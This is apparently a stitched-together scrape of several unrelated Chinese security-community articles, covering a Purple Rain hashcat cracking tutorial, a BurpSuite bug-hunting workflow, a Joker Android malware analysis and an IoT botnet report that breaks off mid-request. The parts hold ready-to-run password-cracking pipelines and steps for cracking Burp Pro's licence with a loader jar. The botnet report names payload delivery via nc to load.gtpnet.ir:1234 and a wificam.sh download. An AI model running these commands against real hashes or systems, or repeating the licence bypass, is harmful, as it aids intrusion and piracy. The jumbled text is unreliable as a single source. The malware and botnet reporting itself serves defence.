现在的可能性是无穷的。可以用Tmux来处理一个netcat shell吗 ? ?为什么不可以呢?:D
命令备忘录：
用Python创建假终端
使用socat
使用STTY选项 | 社区文章 |
# Purple Rain：一种新型哈希破解方法
|
##### 译文声明
本文是翻译文章，文章原作者 netmux，文章来源：netmux.com/blog
原文地址：<http://www.netmux.com/blog/purple-rain-attack>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在渗透测试时，你是否面临着这样的窘境：当你穷尽了所有的密码破解攻击技术却仍然一无所成，即使翻遍各种笔记、分析密码策略及当前的破解结果、一页页翻阅[哈希破解手册](http://a.co/9aQkthI)，仍然于事无补。这时候你需要创新实验思路，最好的方法就是生成随机密码来尝试攻击。此时最大的问题来自于你自己，固有的偏见以及过去的成功经验反而成了你思想上的束缚，打破常规才可能让你坦然面对后续攻击尝试。在这种困境中，
**Purple Rain attack（紫雨攻击）** 能够帮助你打破僵局。Purple
Rain还有一个好处，它可以在接近无限长的时间内运行，唯一限制是用户所提供的字典大小。如果你没有足够的时间精心挑选破解技术，可以考虑使用这种完美的即用型攻击方法，好好享受这种“一劳永逸”的哈希破解过程。
Purple
Rain究竟能做什么呢？它可以帮我们想出自己永远想不到的密码模式和规则集。将可用的模式和密码组合使用是非常有效的一种方法，单凭这种方法，即便只有一个简单的字典，我们也可以在24小时内轻松破解掉75%的LinkedIn数据。有几个问题，比如是否所有的模式和密码都是有效的？当然不是。我们会不会花了很长时间却拿不到关键的哈希结果？答案是肯定的。但想象一下，在长时间的攻击过程中，某一天梦想中的哈希结果突然在控制台上现身，这是多么美妙的一个场景。此时，你肯定会回头浏览这篇文章，由衷感叹这种攻击的巧妙性，感谢这些工具背后开发者的天才思想。
为什么要叫这个名字？这里我们玩了一个文字游戏，攻击过程中用到了[PRINCEprocessor
Hashcat](https://github.com/hashcat/princeprocessor)工具，再与Prince的著名歌曲《Purple
rain》相结合，最终定下了这个名字。在本文中，我们假设你正在尝试破解类似NTLM之类的哈希，并且已经枚举完7个字符以内的所有密码（也就是说，本文中PRINCE只需要生成长度超过8个字符的候选密码：`--pw-min=8`）。最后，你手头还需要一套破解平台，可以选择使用Budget Cracking Rig或者Portable Cracking
Rig。请关注我们的Twitter获取最新消息。
## 二、参考资源
大家可以先参考这几处链接：
[Hashcat](https://hashcat.net/hashcat/)
[PRINCEprocessor Hashcat Utility](https://github.com/hashcat/princeprocessor)
[List of Possible Dictionaries](https://weakpass.com/wordlist)
Purple Rain的典型用法如下：
shuf dict.txt | pp64.bin --pw-min=8 | hashcat -a 0 -m #type -w 4 -O hashes.txt -g 300000
## 三、随机生成
关于PRINCE（PRobability INfinite Chained
Elements）攻击技术以及随机规则生成方面内容，大家可以在网上找到两篇非常好的文章，这也是Purple Rain的灵感来源。我强烈推荐你阅读[Matt
Weir](https://sites.google.com/site/reusablesec/)发表的有关PRINCE工作原理及具体功能的一篇[文章](http://reusablesec.blogspot.com/2014/12/tool-deep-dive-prince.html)。同时我也推荐你阅读@evilmog写的有关“raking”（random password candidate
generation，随机密码候选词生成）技术的相关[文章](https://github.com/evilmog/evilmog/wiki/Hashcat-Raking---generated2.rule)，然后再搭建自己的环境，在hashcat中使用随机生成的规则来破解哈希。简而言之，PRINCE可以根据输入的字典集，随机组合生成输入词链（阅读[此处](https://hashcat.net/events/p14-trondheim/prince-attack.pdf)了解更多细节）。配合hashcat的`-g`参数（[随机规则](https://hashcat.net/wiki/doku.php?id=rule_based_attack)生成选项），你可以进一步增强PRINCE候选密码的输出结果。
## 四、字典选择
你可以为Purple Rain提供两种类型的字典：专用字典（Targeted wordlist）或者通用字典（General Purpose
wordlist）。如果你手上没有任何字典，你可以使用比较优秀的“通用型”字典，如[rockyou.txt](http://www.mediafire.com/file/ncftcayy7t84vm2/rockyou.txt.gz)字典。对于PRINCE而言，我并不推荐使用非常大的字典（比如大小超过500MB的字典）。你可以直接使用最常用的1000万个[密码集](http://www.mediafire.com/file/lurtcr5e48ybbkb/10_million_password_list_top_1000000.txt.gz)（只有3.8MB），也可以参考[weakpass.com](https://weakpass.com/)，根据实际需要选择合适的词典。最后，将字典输入PRINCEprocessor之前，你可以先使用`shuf`这条命令洗一下牌。通过这种随机化过程，可以保证每次发起Purple
Rain攻击时，PRINCEprocessor会创建不同的词链。你可以运行如下命令，多试几次，比较输出结果有何不同：
pp64.bin --pw-min=8 < dict.txt | head -20
shuf dict.txt | pp64.bin --pw-min=8 | head -20
## 五、规则数
选择规则时，我建议先从Hashcat自带的dive.rule开始。这个规则可以将已知密码的衍生密码与PRINCEprocessor随机生成的候选密码组合在一起，并且由于dive.rule会按概率大小进行排序，因此你可能会早点拿到结果。复杂一点的话，我会选择使用Hashcat的随机规则生成功能，最少使用50,000条随机规则，你可以根据情况扩充到1,000,000条规则。如果你不想使用太多的规则，我建议每次运行时使用300,000条规则（在命令行中加入`-g
300000`参数）。需要注意的是，生成的随机规则集越大，Hashcat启动的时间也会越长，因为Hashcat每次运行时都需要动态生成这些规则。此外，PRINCEprocessor自己也带有[prince_generated和prince_optimized](https://github.com/hashcat/princeprocessor/tree/master/rules)这两个规则集，你也可以选择试一下这两个规则集。
## 六、命令解析
现在来看一下Purple Rain攻击中用到的一些命令。
### 基本用法
shuf dict.txt | pp64.bin --pw-min=8 | hashcat -a 0 -m #type -w 4 -O hashes.txt -g 300000
具体字段含义如下：
**shuf：** 将字典输入PRINCEprocessor之前，先随机处理一下。
**dict.txt：** 专用型或通用型字典，根据实际情况选择。
**pp64.bin：** Hashcat提供的PRINCEprocessor工具。
**—pw-min=8：** 要求PRINCE生成长度至少为8个字符的密码。
**hashcat -a 0：** 以Straight模式启动Hashcat，获取stdin的输入数据。
**-m #type：** 指定哈希模式的编号，比如`-m 1000`对应的是NTLM。
**-w 4：** 指定Hashcat采用最高的工作负载来运行。
**hashes.txt：** 包含待破解哈希的输入文件。
**-g 300000：** 指定Hashcat生成300,000条随机规则。
两点建议：
1、再次执行相同任务前，我建议将运行时间限制在1小时到24小时之间。
2、可以收集行之有效的那些随机规则，参数为`--debug-mode=1 --debug-file=success_purplerain.rules`。
### 高级用法
如果你想随机使用`dict/`目录下的字典，你可以使用如下命令：
ls dict/ | sort -R | shuf 'dict/' `tail -1` | pp64.bin --pw-min=8 | hashcat -a 0 -m #type -w 4 -O hashes.txt -g 300000
你可以将上面的`tail -1`命令替换成自己所需的命令。
你也可以随机组合使用多个字典，以增加输入数据的多样性，命令如下：
cat dict1.txt dict2.txt | shuf | pp64.bin --pw-min=8 | hashcat -a 0 -m #type -w 4 -O hashes.txt -g 300000
### 高级选项
在PRINCEprocessor中，我们可以使用`--elem-cnt-min`以及`--elem-cnt-max`选项，增加输入字典的单词/元素的链接数。
在Hashcat随机规则生成中，我们可以使用`--generate-rules-func-min`以及`--generate-rules-func-max`选项，增加或减少每个规则的函数数量。
## 七、典型应用
让我们举个简单的例子，介绍如何配置Purple Rain攻击及运行环境。
1、从[rockyou](http://www.mediafire.com/file/ncftcayy7t84vm2/rockyou.txt.gz)字典中，随机提取30,000个密码：
shuf rockyou.txt | head -30000 > test_rockyou.txt
2、使用md5算法处理test_rockyou.txt，将生成的哈希值存入文件中（需要一定时间才能完成）：
while read line; do echo -n $line | md5sum; done < test_rockyou.txt | awk -F " " '{print$1}' > hashes.txt
3、创建一个小型字典，以便测试刚才生成的哈希值：
hashcat -a 3 -i ?a?a?a --stdout >> test_dict.txt
4、我们也可以获取google上前20,000个英文单词（参考此处[链接](https://github.com/first20hours/google-10000-english/blob/master/20k.txt)），加入前面那个字典中：
cat google-20k.txt >> test_dict.txt
5、先使用dive.rule规则，花1个小时执行Purple Rain攻击：
shuf test_dict.txt | pp64.bin | hashcat -a 0 -m 0 -w 4 -O hashes.txt -r dive.rule
运行过程中，你可以观察Hashcat中不断出现的各种候选密码。
6、接下来，使用随机生成的200,000条规则，花8个小时执行Purple Rain攻击：
shuf test_dict.txt | pp64.bin | hashcat -a 0 -m 0 -w 4 -O hashes.txt -g 200000
通过8小时的运行时间，你可以了解到这种方法不需要过多人工参与，可以持续、自主完成攻击过程。你会看到你根本无法想到的一些密码组合。请记住一点：不确定的输出结果是你最好的朋友。
在破解过程中，差之毫厘则失之千里，我们不能放弃丝毫的可能性。
## 八、总结
希望这种攻击方法的确对你有所帮助，可以加到你的知识储备笔记本中。对于刚接触密码破解的新手来说，这种攻击方法也非常简单方便，运行起来无需人工参与，可以取得较好的效果。有空的话你可以翻阅一下[Hash
Crack v2.0: Password Cracking
Manual](http://a.co/7VZZEBW)这个手册，从中你可以找到许多类似的攻击方法以及其他有用的参考资料。请记住一点：在破解过程中，随机性可以拓宽你的视野，带来新的可能性以及原先无法预测的结果。另外，记得关注即将发布的新型破解平台：[Portable
Cracking Rig](http://www.netmux.com/blog/portable-cracking-rig)（如下图所示），只需1,000美元你就可以在渗透测试中用到它的强大功能。这个价格非常实惠，毕竟没有多少人能搭建价值15,000美元、使用8个GPU的破解阵列。请关注我们的Twitter
@netmux，了解后续更新及相关文章。
研究人员需要付出许多精力才能生产并发行这些工具，因此看到“捐助（DONATE）”按钮时，你可以考虑贡献自己的一份薄力。这些社区让整个世界更加美好，也让我们受益匪浅。 | 社区文章 |
# 我的BurpSuite食用方法
## 0x0 前言
用了好久低版本的Burp,
最近发现Burp有个全新的改动，所以重新配置一下，然后记录了自己的过程，就打算分享一下自己平时利用Burpsuite进行挖洞的一些技巧。
## 0x1 Burp安装与破解
访问官网直接下载Mac OS的安装版:<https://portswigger.net/burp/releases，然后正常安装。>
破解:
git clone https://github.com/TrojanAZhen/BurpSuitePro-2.1.git
在应用程序中找到burp，显示包内容，依次打开文件夹：Contents - java - app,然后将启动器burp-loader-x-Ai.jar移动到当前的app目录。
接着返回到Contents目录，编辑vmoptions.txt，末尾追加两行内容。
-noverify
-javaagent:burp-loader-x-Ai.jar
然后返回打开Burp即可,如果提示需要License,那么直接生成一个注册就行了。
然后点击manual，再粘贴Request和Response来激活就行了。
> 如果有能力请支持正版。
## 0x2 Burp 插件的选用
这里介绍几个我平时比较喜欢的插件:
### 0x2.1 Reflector
下载地址:<https://github.com/elkokc/reflector>
特点如下:
* Highlighting of reflection in the response tab.
* Test which symbols is allowed in this reflection.
* Analyze of reflection context.
* Content-Type whitelist.
通过设置`Content-Type: text/html`,
我们可以快速找到请求中的参数哪个被返回到回显的Body中，同时会进行一些特殊字符(`<、'、"`etc)的探测, 以用来快速定位可疑的XSS漏洞。
### 0x2.2 DOMXSSHilight
下载地址:<https://github.com/sechacking/DOMXSSHilight>
这个主要是定位一些Dom的sink, 可以辅助手工去dig dom xss。
### 0x2.3 U2C v0.8 by bit4
下载地址:<https://github.com/bit4woo/u2c>
这个小工具还有非常有用的，用于转换返回包的unicode为中文，效果杠杠的。
### 0x2.4 Hack Bar
下载地址:<https://github.com/d3vilbug/HackBar>
集成了多种漏洞类型的一些payload，测试的时候可以非常方便地使用
### 0x2.5 SSRF-King
下载地址:<https://github.com/ethicalhackingplayground/ssrf-king>
支持扫描和自动发现SSRF漏洞。
### 0x2.6 Autorize
下载地址: Bapp 里面就有
这个主要用于测试权限问题，可以自动发现不用授权的接口。
### 0x2.7 FastjsonScan
下载地址:<https://github.com/zilong3033/fastjsonScan>
这个插件算是比较全的检测fastjson的反序列化漏洞，这个检测机制是POST类型,且
`Content-Type: application/json`的请求。
### 0x2.8 BurpShiroPassiveScan
下载地址:<https://github.com/pmiaowu/BurpShiroPassiveScan>
这个插件可以用来自动检测Shiro+发现密钥，并且不依赖dnslog来检查,是相对而言比较好用的插件，毕竟Shiro依然是yyds。
### 0x2.9 Burp Bounty
下载地址:<https://github.com/wagiro/BurpBounty>
主要是提供可视化界面来代替花时间去写一些匹配关键字插件的功能，不过它的Pro版本有个功能叫smart
scan，支持被动扫描+主动扫描，非pro版本不支持被动的时候直接去发包，但支持检测请求的时候的一些特征，比如我们有时候对一些方法需要重点关注下比如PUT方法的请求，还有就是一些敏感的端点也需要注意下，就可以用Burp
Bounty来自定义profile做检测。
> 其实被动和主动，准确定义来说，被动应该是不会主动发包的，不过现在被动也可以理解成，被动获取到URL，然后对URL进行自动扫描。emmm。
profile参考: <https://github.com/six2dez/burp-bounty-profiles>
### 0x2.A HaE
下载地址:<https://github.com/gh0stkey/HaE>
用于高亮特征和定位敏感信息,关于配置文件可以直接使用官方提供的:<https://gh0st.cn/HaE/>
## 0x3 Burp 持久化配置
有很多时候，会发现我们重载burp的时候，第三方插件都没有自动启用，还有就是改动过的配置也没有保存。
比如我一般喜欢添加多个监听端口。
这个时候我们可以保存这个配置,然后打开`/Users/xq17/.BurpSuite`,参考里面的`UserConfigPro.json`配置然后复制这个配置改名为自己想要的配置文件`UserConfigProNew.json`，再进行编辑即可。
还有如果我们想重新加载burp的时候，默认启用配置好的插件，可以设置"loaded"属性为true。
然后我们burp重新加载的时候选择这个配置文件加载即可。
这样就可以不用每次都要重新配置一些选项了，这个我也是跟@达浪师傅学到的， orz。
## 0x4 浏览器代理配置
设置代理我一般采用的是SwitchyOmega,这里有几个默认配置，为了方便挖洞，我们需要更改下。
1.更改切换情景模式的时候默认会自动刷新的问题，要不然切换会丢失我们填写的表单内容。
修改: 选项->界面->其他设置->当更改情景模式时刷新当前标签(x)
2.设置快速切换按钮，一个是启动burp代理,一个是使用设置的系统代理，这样切换直接可以用快捷键`option+shift+o`进行切换，非常方便。
修改: 选项->界面->切换选项->快速切换
3.设置不代理的地址列表，来防止干扰。
## 0x5 实践例子
所谓知行合一，为了方便读者理解和检验该工作流的合理性，需要进行实践来佐证。
文章的话还是用靶场的例子比较好，方便复现实操来加深印象。
这里分享一个比较方便、Burp官方提供的一个在线靶场，可以用来测试各种漏洞，可以说非常适合我们平时写扫描器的时候来检验扫描器是否能正常工作。
地址: <https://portswigger.net/web-security/dashboard>
### 0x5.1 XSS 漏洞
**反射型非DOM类型XSS:**
开一个靶场:Reflected XSS into HTML context with nothing encoded
然后我们挂着代理，直接在打开的靶场执行一下搜索。
然后查看burp的issue activity就可以发现漏洞了。
这种反射型XSS非常好挖, 不过国内普遍都是低危，并不值钱, 越大的厂商越多这种洞。
**反射型DOM XSS**
开一个靶场:DOM XSS in document.write sink using source location.search
依然是挂着代理执行以下search，查看burp history
可以看到，存在sink点会被高亮为红色，查看插件的输出
然后返回头分析一下，很简单就可以发现是一个基于location.search的dom型XSS
目前来说Dom型XSS还是属于比较难实现自动扫描的类型，不过我自己想到了一些方法来测试，后面也会去尝试优化下burp的插件来方便自己的日常使用，欢迎师傅们分享下自己的挖DOM的姿势，据我所知，DOM
XSS在SRC中还是被挖的比较多的。
### 0x5.2 SQL 注入漏洞
SQL注入一般来说属于比较危险的，所以一般都是采用active扫描，况且burp自带的SQL检测payload非常直接容易触发waf，故我一般不开被动去扫SQL注入。不过后面我会考虑深度定制一个辅助检测的插件，欢迎感兴趣的师傅找我一起探讨下。
开一个靶场:SQL injection UNION attack, determining the number of columns returned
by the query
然后挂上Burp代理, 捕捉到可疑的请求，选中active scan。
然后回到Dashboard可以查看新开了active scan task.
从Logger可以看到开始进行了主动扫描，这个除了调用burp自带的规则，也会调用我们burp bounty插件定义的一些规则。
这种全量扫描的效率是比较慢的，大概要10来分钟扫描完一个请求，但是可以进行一些设置的优化来加快速度。
Dashoard 还可以修改默认的添加任务时候的行为，比如是否自动启动、启动的并发数。
等待扫描结束，可以查看相关的结果。
可以看到成功扫描到了SQL注入漏洞，Burp的判断方式也是非常不错的，通过简单探测方法，即一个`'`返回报错,两个`''`则返回正常，说明对单引号没处理好，可能存在注入，事实上这个参数的确存在注入。
### 0x5.3 SSRF 漏洞
SSRF一般来说都是可以出网的，特殊情况就需要自己去判断，比如不出网但有回显的，或者不出网没回显的，这些就没办法自己检测，下面来演示下用burp来挖掘出网的SSRF。
开一个靶场:Blind SSRF with out-of-band detection
burp设置好范围后，然后浏览网页，点一个check stock功能来触发burp的被动扫描。
可以看到SSRF-King插件可以成功扫描到到SSRF的漏洞。
### 0x5.4 文件包含||文件读取
开一个靶场:File path traversal, simple case
配置下Burp的live audit扫描规则, new live task。(这个会自动审计流经burp的流量)
配置扫描的漏洞类型和扫描速率:
插入点的设置优化,用来减少一些无谓的请求。
然后挂上代理浏览网站，等待扫描完成，查看结果就行了。
### 0x5.5 越权漏洞
这里没有很好的靶场，这里我以某个网站作为例子，这里假设我已经登录两个账户。
账户1:`d0mxss11%27%5C222` 高权限
账户2:`hackboy` 低权限
然后我们获取账户2的cookie，粘贴到Autorize的里面，也可以包括header头，比如有时候有些网站就会用x-token来鉴权而不是使用cookie。
然后可以设置好一些过滤,针对某些断点来请求。
然后我们用高权限账号去访问网站的各个功能。
这个时候我们就可以观察长度和status, 来判断是否存在越权漏洞了, 绿色一般代表是没有问题的。我们也可以浏览和对比3个请求的具体情况。
很明显就可以发现是没存在漏洞的。
### 0x5.6 Shiro 漏洞
靶场: Google Dork: `Powered By JeeSite`
然后浏览这些站点,可以适当访问下`/a/login`目录
首先是hae可以做Shiro的基础识别
然后我们也可以查看BurpShiroPassivescan的扫描效果。
后面就是正常的利用,可以尝试反序列回显命令执行之类的。(PS.请在授权的情况进行操作。)
### 0x5.7 fastjson 漏洞
最近有在研究这个，可以用vulhub来快速搭建。
靶场:
cd $(pwd)/vulhub/fastjson/1.2.47-rce
docker-compose up -d
然后我们构造一个post的请求包来触发扫描。
然后我们去查看FastjsonScan的结果。
可以看到是正常工作的。
## 0x6 总结
我一直很反对炒冷饭写工具使用的文章，没想到自己这次破了例(ORZ，生活所迫，也写的并不好。)，其实每个人都有自己的工作流，我的不一定合适你，可以拿来参考，然后找到最适合自己的配置，希望能给大家带来一点帮助吧。
## 0x7 参考链接
[MacOS安装破解BurpSuite2021.5.1【持续更新](https://www.lzskyline.com/index.php/archives/121/)
[Burp Suite tutorial: IDOR vulnerability automation using Autorize and
AutoRepeater (bug bounty)](https://www.youtube.com/watch?v=3K1-a7dnA60) | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.zscaler.com/blogs/security-research/joker-playing-hide-and-seek-google-play>**
Joker是最著名的恶意软件家族之一，它不断地攻击Android设备。尽管人们意识到了这种特殊的恶意软件，但它通过改变代码、执行方法或有效载荷检索技术，不断地进入谷歌的官方应用程序市场。这个间谍软件的目的是窃取短信、联系人名单和设备信息，同时悄悄地为受害者注册高级无线应用协议（WAP）服务。
我们的Zscaler ThreatLabZ研究团队一直在不断监视Joker恶意软件。最近，我们看到它定期上传到Google
Play商店。一旦接到我们的通知，谷歌安卓安全团队立即采取行动，从谷歌Play商店删除可疑应用（如下所列）。
Joker是如何成功地绕过Google Play审查过程的？。我们发现了17个不同的样本，这些样本在2020年9月被定期上传到Google
Play上。被识别的恶意应用程序总共下载了大约12万次。
以下是我们在Google Play 商店上发现的受感染应用程序的名称：
All Good PDF Scanner
Mint Leaf Message-Your Private Message
Unique Keyboard - Fancy Fonts & Free Emoticons
Tangram App Lock
Direct Messenger
Private SMS
One Sentence Translator - Multifunctional Translator
Style Photo Collage
Meticulous Scanner
Desire Translate
Talent Photo Editor - Blur focus
Care Message
Part Message
Paper Doc Scanner
Blue Scanner
Hummingbird PDF Converter - Photo to PDF
All Good PDF Scanner
（截至本文撰写之时，所有这些应用程序都已从Google Play商店中删除。）
在这篇文章中，我们将讨论Joker恶意软件用来绕过谷歌审查过程的方法。
#### 场景1：直接下载
在一些Joker变体中，我们看到了通过从命令和控制（C&C）服务器接收的直接URL传递的最终有效载荷。在这个变体中，受感染的Google
Play应用程序将C&C地址隐藏在代码中，并使用字符串混淆。我们观察到字符串“sticker”被用来断开C&C地址，以便在简单的grep或字符串搜索中隐藏它，如图1所示。
图1：C＆C地址字符串混淆。
安装后，受感染的应用程序会与C＆C服务器联系，然后由C＆C服务器返回最终有效负载的URL。该JSON文件还具有与类名相关的信息，需要从最终有效负载执行该类名才能执行所有恶意活动。
图2：C＆C JSON响应。
从C＆C接收到JSON配置后，受感染的应用程序会从接收到的位置下载有效负载并执行。
图3：最终的有效负载下载。
#### 场景2：一步下载
在一些应用程序中，我们观察到，为了检索最终有效载荷，受感染的Google Play应用程序使用stager有效载荷。在这里，受感染的Google Play
商店应用程序使用高级加密标准（AES）将stager有效负载URL编码在代码中。感染后，与场景1不同，它下载stager有效载荷而不是最终有效载荷，如图4和图5所示。
我们还看到了两种stager有效负载：Android包（APK）或Dalvik可执行文件。
图4:Dalvik可执行stager负载下载。
图5:APK stager有效负载下载。
这个stager有效负载的任务是简单地从代码中检索最终的有效负载URL并下载它。与有效载荷下载一起，它还负责执行最终的有效载荷。
在stager有效负载中，我们还看到恶意软件攻击者使用了一些不同的策略来隐藏最终负载URL。我们看到了使用AES对最终有效负载进行模糊处理的实例，在某些情况下，我们看到使用简单的shift操作来混淆最终有效负载URL。
在某些情况下，最终的有效负载URL也是纯文本的。
图6:AES加密。
图7：纯文本结束有效负载URL。
图8：纯文本结束有效负载URL。
图9：使用Shift编码的模糊结束有效负载URL。
执行后，它下载最后阶段的有效负载。Joker恶意软件从高级短信订阅诈骗到间谍活动方面进行攻击，如图10所示。
图10：最终有效载荷下载。
#### 场景3：两阶段下载
在一些受感染的Google Play商店应用程序中，我们看到两个stager有效载荷下载用于检索最终有效载荷。在这里，Google
Play感染的应用程序下载第一阶段的有效载荷，下载第二阶段的有效载荷，最后加载Joker有效载荷。
有趣的是，与前两个场景不同，受感染的应用程序与C&C服务器联系以获取第一阶段有效负载URL，后者将其隐藏在响应位置标头中。
图11:StageOne负载URL的C&C响应。
一旦感染了设备，受感染的应用程序将从C&C接收到的URL下载第一阶段的有效负载，并将其放入响应头中。与场景二一样，这个有效负载的任务是简单地下载另一个有效负载，但这次它不会是最终的有效负载。观察下面的相同活动的屏幕截图:
图12：第一阶段代码中的第二阶段URL。
在执行第一阶段有效载荷时，它下载第二阶段有效载荷。第二级有效载荷表现出与第一级有效载荷相同的行为。如图13所示，它包含最终的URL。
图13：第二阶段代码中的最终有效负载URL。
#### 最终有效载荷详情
尽管这些变化被Joker用来达到最终有效载荷，但我们可以看到，所有情况下都下载了相同的最终有效载荷。以下是最后有效载荷活动的一些亮点。
最终有效载荷使用DES加密来执行C&C活动。
图14:C&C post请求的DES加密。
图15显示了Joker用于执行C&C活动的网络模式。
图15:post请求的C&C模式。
最终有效负载还使用字符串模糊处理来隐藏所有重要的字符串。它使用字符串“nus106ba”来断开所有重要的字符串，以便在简单的字符串搜索中隐藏它。
图16：字符串混淆。
图17显示了由Joker完成的SMS收集和WAP欺诈。
图17:WAP欺诈。
#### 建议
我们建议您密切关注您在Android设备上安装的应用程序中的权限。始终注意与短信、通话记录、联系人等相关的危险权限。阅读应用程序页面上的评论有助于识别受损应用程序。
#### IOC
Google Play上受感染的应用程序：
MD5s | Package Name
---|---
2086f0d40e611c25357e8906ebb10cd1 | com.carefrendly.message.chat
b8dea8e30c9f8dc5d81a5c205ef6547b | com.docscannercamscanpaper
5a5756e394d751fae29fada67d498db3 | com.focusphoto.talent.editor
8dca20f649f4326fb4449e99f7823a85 | com.language.translate.desire.voicetranlate
6c34f9d6264e4c3ec2ef846d0badc9bd | com.nightsapp.translate.sentence
04b22ab4921d01199c9a578d723dc6d6 | com.password.quickly.applock
b488c44a30878b10f78d674fc98714b0 | com.styles.simple.photocollage.photos
a6c412c2e266039f2d4a8096b7013f77 | com.unique.input.style.my.keyboard
4c5461634ee23a4ca4884fc9f9ddb348 | dirsms.welcome.android.dir.messenger
e4065f0f5e3a1be6a56140ed6ef73df7 | pdf.converter.image.scanner.files
bfd2708725bd22ca748140961b5bfa2a | message.standardsms.partmessenger
164322de2c46d4244341e250a3d44165 | mintleaf.message.messenger.tosms.ml
88ed9afb4e532601729aab511c474e9a | omg.documents.blue.pdfscanner
27e01dd651cf6d3362e28b7628fe65a4 | pdf.maker.scan.image.phone.scanner
e7b8f388051a0172846d3b3f7a3abd64 | prisms.texting.messenger.coolsms
0ab0eca13d1c17e045a649be27927864 | com.gooders.pdfscanner.gp
bfbe04fd0dd4fa593bc3df65a831c1be | com.powerful.phone.android.cleaner
* * * | 社区文章 |
# 【威胁报告】一个新IoT僵尸网络正在 HTTP 81上大范围传播
|
##### 译文声明
本文是翻译文章，文章来源：netlab.360.com
原文地址：<http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/>
译文仅供参考，具体内容表达以及含义原文为准。
[](http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/#)
**概述**
360 网络安全研究院近日监测到一个新的僵尸网络正在大范围扫描整个互联网。考虑到该僵尸网络的以下因素，我们决定向安全社区公开我们的发现成果：
1、规模较大，我们目前可以看到 ～50k 日活IP
2、有Simple UDP DDoS 攻击记录，可以认定是恶意代码
3、较新，目前尚有较多安全厂商未能识别该恶意代码 ( 7/55 virustotal )
4、与mirai僵尸网络相比，借鉴了其端口嗅探手法和部分代码，但是在传播、C2通信协议、攻击向量等关键方面完全不同于mirai，是新的恶意代码家族而不应视为mirai的变种
我们梳理了该僵尸网络的发现过程、传播手法、行为特征，简略分析了该僵尸网络的攻击行为，并按照时间线组织本blog的各小节如下：
1、GoAhead及多家摄像头的 RCE 漏洞
2、攻击者将漏洞武器化
3、我们注意到了来自攻击者的扫描
4、从扫描到样本
5、C2 历史变化回溯
6、僵尸网络规模判定
7、关于 212.232.46.46 我们的观察
8、IoC
**GoAhead 及多家摄像头的 RCE 0Day漏洞**
研究人员 Pierre Kim (@PierreKimSec) 于 2017-03-08 发布了一个关于GoAhead
以及其他OEM摄像头的脆弱性分析报告。在设备厂商归属方面，原作者指出由于设备OEM的原因，共涉及了超过 1,250
个不同摄像头厂商、型号；在潜在感染设备方面，原作者利用Shodan 估算有超过 185,000 个设备有潜在问题。
**原始文章链接如下** ：<https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html>
在原始文章中， 原作者指出 GoAhead 摄像头存在若干问题，其中包括：
1、通过提供空白的 loginuse 和 loginpas 绕过认证环节，下载设备的.ini 文件
2、通过向 set_ftp.cgi 中注入命令，获得root权限，并在设备上提供远程 Shell
原作者指出攻击者组合使用上述问题，就可以在完全没有设备口令的情况下，获得设备的root权限，并提供了一个利用代码。
在上述页面中，可以关联到原作者和其他安全社区反馈的信息。综合这些反馈，我们并没有观察到没有设备厂商积极行动起来，为本脆弱性提供解决方案，原因也许是OEM厂商之间错综复杂的关系，不过正是因为迟迟没有原始厂商采取行动，才给了攻击者继续发挥的空间。
**攻击者将漏洞武器化**
事后看，我们认为攻击者在原始PoC公布后，花了不超过1个月的时间将上述漏洞武器化，并在2017-04-16 成功引起了我们的注意。
我们实际看到武器化后的payload 有如下特点：
1、嗅探端口从 80 改为 81
2、嗅探端口时采用类似mirai 的 syn scan 过程
3、嗅探 login.cgi 页面，猜测攻击者通过这种方式进一步精确甄别受害者。上述三个做法可以提高僵尸网络感染的效率
4、使用前文提到的 goahead 0-day 漏洞，投递载荷
5、我们尚没有直接证据，但是有理由怀疑攻击者在成功获得设备root权限以后，阻断了载荷投递通道，避免后来者经同样路径争夺设备控制权
**
**
**我们注意到了来自攻击者的扫描**
我们首次注意到本次事件，是来自我们的全球网络扫描实时监控系统：
[http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum](http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum)
图1 port 81 scan bigbang since 2017-04-16
从图中我们可以看到， **2017-04-16** 是个关键的时间点。取 2017-04-15 与之后的数据对比，当日扫描事件数量增长到 400% ~
700% ，独立扫描来源增长 4000%～6000%。特别是2017-04-22当天扫描来源超过
57,000，这个数字巨大，让我们觉得有必要向安全社区提示这个威胁的存在。
图2 detailed volume compare
**从扫描到样本**
**载荷**
注意到该扫描以后，我们就开始了对该威胁的追溯和分析工作。通过我们的蜜罐系统，我们捕获了下面这组样本。需要预先说明的是，虽然这组样本的命名中包含 mirai
字样，但是这一组样本的工作方式不同于mirai，并不能视为mirai的变种，而应该作为一个新的威胁来对待。
cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl
这组样本的文件信息如下：
mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
wificam.sh: ASCII text
**载荷的投递方式**
在攻击者完成嗅探81端口确认存活以后，通过以下方式投递有效载荷：
1、攻击者在上文PoC基础上，注入命令迫使受害者设备发起nc连接到 load.gtpnet.ir:1234
2、攻击者控制load.gtpnet.ir:1234 对每个受害则发起的连接，投递了 hxxp://ntp.gtpnet.ir/wificam.sh
作为后续下载的中转，并通过该脚本进一步从 hxxp://ntp.gtpnet.ir/ 服务器下载命名为
mirai.arm/mirai.arm5n/mirai.arm7/mirai.mips/mirai.mpsl 的样本
3、这些样本会进一步与控制服务器建立连接，到此，受害者设备完全被攻击者控制，感染阶段结束，准备发起攻击。
上述三段攻击方式对应的代码如下：
1、命令注入阶段，迫使受害者建立nc连接到 load.gtpnet.ir:1234
GET login.cgi HTTP/1.1
